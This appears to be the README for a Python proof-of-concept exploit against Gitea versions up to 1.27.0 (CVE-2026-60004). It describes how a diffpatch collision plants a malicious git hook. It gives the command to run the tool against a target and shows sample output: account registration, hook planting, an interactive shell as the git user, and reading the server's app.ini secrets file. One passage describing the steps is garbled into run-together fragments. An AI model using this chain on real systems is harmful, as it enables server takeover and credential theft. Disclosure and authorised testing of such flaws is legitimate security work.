
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
This is a proof-of-concept exploit for CVE-2026-60004, a critical remote code execution vulnerability in Gitea versions 1.17 through 1.27.0. The script automates the full exploitation chain, from user registration to establishing a stable, interactive shell on the target server.
The vulnerability exists in the /diffpatch API endpoint. By sending a malicious patch twice, an add/add collision triggers a three-way merge fallback that ignores the --cached flag and writes an executable Git hook directly into the bare repository's GIT_DIR. When Git updates the index, it automatically executes this hook, allowing arbitrary command execution as the Gitea service account.
Because Gitea is a compiled Go binary without an embedded PHP interpreter, dropping a traditional webshell often fails if there isn't a secondary web server configured to execute it. To solve this and ensure the exploit is completely stable, this script uses an API-driven approach:
post-index-change git hook via the diffpatch collision.cmd.sh), executes it as the service account, and writes the output to a git blob ().proofThis creates a fully functional interactive shell directly through the Gitea API, requiring no external web servers or secondary interpreters.
python3 poc.py https://target.com

Once executed, the script will automatically register an account, plant the malicious hook, and drop you into an interactive shell:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
This tool is intended for educational purposes and authorized security testing, such as CTFs, only. Ensure you have explicit permission to test the target system. The author is not responsible for any misuse or damage caused by this tool.
Chirag Artani - https://3rag.com